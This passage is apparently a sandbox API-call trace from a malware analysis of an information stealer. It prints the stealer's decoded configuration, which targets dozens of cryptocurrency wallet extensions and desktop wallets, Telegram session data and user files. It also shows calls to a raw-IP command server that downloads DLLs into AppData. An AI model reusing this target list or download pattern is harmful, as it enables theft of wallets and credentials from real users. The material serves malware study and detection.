Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5117 [0258.644] LocalAlloc (uFlags=0x40, uBytes=0x287a) returned 0x6e6bd0 [0258.644] StrCpyW (in: psz1=0x6bbf30, psz2="vcruntime140" | out: psz1="vcruntime140") returned="vcruntime140" [0258.645] LocalFree (hMem=0x6e6bd0) returned 0x0 [0258.645] lstrlenW (lpString="vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5117 [0258.645] LocalAlloc (uFlags=0x40, uBytes=0x287a) returned 0x6e6bd0 [0258.645] StrCpyW (in: psz1=0x6be740, psz2="http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll" | out: psz1="http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll") returned="http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll" [0258.645] LocalFree (hMem=0x6e6bd0) returned 0x0 [0258.646] LocalAlloc (uFlags=0x40, uBytes=0x208) returned 0x6b5e98 [0258.646] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\LocalLow") returned 35 [0258.646] lstrlenW (lpString="") returned 0 [0258.646] LocalAlloc (uFlags=0x40, uBytes=0x146) returned 0x6cdf00 [0258.646] lstrlenW (lpString="\\") returned 1 [0258.646] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\LocalLow") returned 35 [0258.646] LocalAlloc (uFlags=0x40, uBytes=0x148) returned 0x6c0f50 [0258.646] lstrlenW (lpString="vcruntime140") returned 12 [0258.646] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\") returned 36 [0258.647] LocalAlloc (uFlags=0x40, uBytes=0x160) returned 0x6cdf00 [0258.647] lstrlenW (lpString=".dll") returned 4 [0258.647] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\vcruntime140") returned 48 [0258.647] LocalAlloc (uFlags=0x40, uBytes=0x168) returned 0x6c0f50 [0258.647] LocalAlloc (uFlags=0x40, uBytes=0xff78) returned 0x6e6bd0 [0258.648] lstrlenW (lpString="Content-Type: text/plain;") returned 25 [0258.648] lstrlenW (lpString="") returned 0 [0258.648] LocalAlloc (uFlags=0x40, uBytes=0x132) returned 0x6e08b0 [0258.649] lstrlenW (lpString="\r\n") returned 2 [0258.649] lstrlenW (lpString="Content-Type: text/plain;") returned 25 [0258.649] LocalAlloc (uFlags=0x40, uBytes=0x136) returned 0x6cdf00 [0258.649] lstrlenW (lpString="\r\n\r\n") returned 4 [0258.649] lstrlenW (lpString="Content-Type: text/plain;\r\n") returned 27 [0258.649] LocalAlloc (uFlags=0x40, uBytes=0x13e) returned 0x6e08b0 [0258.650] LocalAlloc (uFlags=0x40, uBytes=0x208) returned 0x6b5e98 [0258.650] StrStrW (lpFirst="http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll", lpSrch="://") returned="://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll" [0258.650] lstrlenW (lpString="51.195.166.178") returned 14 [0258.650] InternetOpenW (lpszAgent="record", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc001c [0258.650] lstrlenW (lpString="Content-Type: text/plain;\r\n\r\n\r\n") returned 31 [0258.650] InternetOpenUrlW (hInternet=0xcc001c, lpszUrl="http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll", lpszHeaders="Content-Type: text/plain;\r\n\r\n\r\n", dwHeadersLength=0x1f, dwFlags=0x84400000, dwContext=0x0) returned 0xcc0024 [0258.792] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\vcruntime140.dll" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\vcruntime140.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x2b4 [0258.798] StrStrW (lpFirst="vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0258.798] lstrlenW (lpString="libs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension 